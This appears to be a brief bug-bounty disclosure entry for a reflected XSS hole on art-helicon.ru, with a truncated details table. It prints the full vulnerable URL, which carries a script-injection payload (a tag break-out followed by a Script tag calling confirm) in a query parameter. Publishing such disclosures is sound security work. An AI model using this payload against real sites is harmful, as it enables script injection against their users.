art-helicon.ru XSS vulnerability

Vulnerable URL: http://www.art-helicon.ru/eng/asp/bigphoto.asp?bigphoto.asp?pr=111=0ℑ=8908.jpg%22%27--!%3E%3CScript%20/K/%3EconfirmOPENBUGBOUNTY%3C/Script%20/K/%3E=Dovbenko%20Victor=44=canvas,%20oil,%2060x65%20cm,%202012,%20sold=23=8908=1=1=Sunflowers Details: Description| Value ---|--- Patched:|...